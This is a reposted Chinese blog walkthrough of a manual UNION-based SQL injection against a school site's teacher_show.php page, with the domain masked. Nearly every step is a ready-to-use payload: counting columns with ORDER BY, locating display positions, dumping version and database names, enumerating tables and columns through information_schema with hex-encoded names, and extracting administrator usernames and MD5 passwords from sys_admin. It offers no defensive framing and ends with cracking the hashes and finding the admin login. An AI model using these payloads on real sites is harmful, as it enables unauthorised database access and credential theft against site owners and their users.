废话不多说,看操作!!!!
注入点:
http://xxx.cn/teacher_show.php?id=19
判断是否为注入点略过(' 1=1 1=2)
一、判断列长度:
http://xxx.cn/teacher_show.php?id=19 order by 19
页面正确:
http://xxx.cn/teacher_show.php?id=19 order by 20
页面错误:
所以列长度为19
二、查看显示位:
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示位这么多,用9和16吧。。
三、暴库、用户和数据库版本:
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),10,11,12,13,14,15,16,17,18,19
爆出来了。。。。
四、暴库:
此次暴库方法不是一条语句爆所有的库,而是不断修改“limit”后面“,”前面的值来依次爆出存在的所有库。。。。
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,SCHEMA_NAME,10,11,12,13,14,15,16,17,18,19 from information_schema.SCHEMATA limit 2,1/*
主要库名出来了。。。
五、依次爆表:
本次只贴出可利用的表名,爆表方法与上面暴库方法一样,一个一个的爆
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,TABLE_NAME,10,11,12,13,14,15,16,17,18,19 from information_schema.TABLES where TABLE_SCHEMA =0x6C6975726979783031 limit 21,1/*
依次修改“limit”后“,”前面的值,可爆出所有表,知道出现错误页面为止
表名爆出来了,下面爆字段
六、暴字段:
方法同上,依次爆。。。
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,column_name,10,11,12,13,14,15,16,17,18,19 from+(select+*+from+information_schema.columns+where+table_name=0x7379735F61646D696E+and+table_schema=0x6C697572697978+order+by+1+limit+1,1)t+limit+1--
注:table_name 为表名的hex值,table_schema为库名的hex值
需要的字段全爆出来了,接下来爆字段内容:
七、爆内容:
http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,admin_login_name,10,11,12,13,14,15,admin_login_psw,17,18,19 from sys_admin
爆出了用户名和密码,密码为MD5加密的,解密即可
八、后台登陆:
爆出用户和密码后找后台登陆。。。
接下来。。。。。。
转载于:https://blog.51cto.com/waning411/1397918